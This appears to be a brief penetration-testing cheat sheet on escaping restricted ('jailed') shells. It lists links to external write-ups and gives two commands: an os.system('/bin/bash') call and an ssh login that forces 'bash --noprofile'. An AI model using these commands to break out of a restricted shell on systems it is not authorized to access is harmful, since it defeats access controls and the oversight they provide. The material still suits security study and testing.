Jailed Shell Escape

Resources:

http://netsec.ws/?p=337netsec.ws

Breaking Out of "Jail" : Restricted Shellairnesstheman.blogspot.ca

Escaping Restricted Shellsecurebean.blogspot.ca

Offensive Security Training, Courses & CertificationsSANS Institute

Escape a restricted shell with echo command:

echo os.system('/bin/bash')

ssh <username>@<ip> -t "bash --noprofile"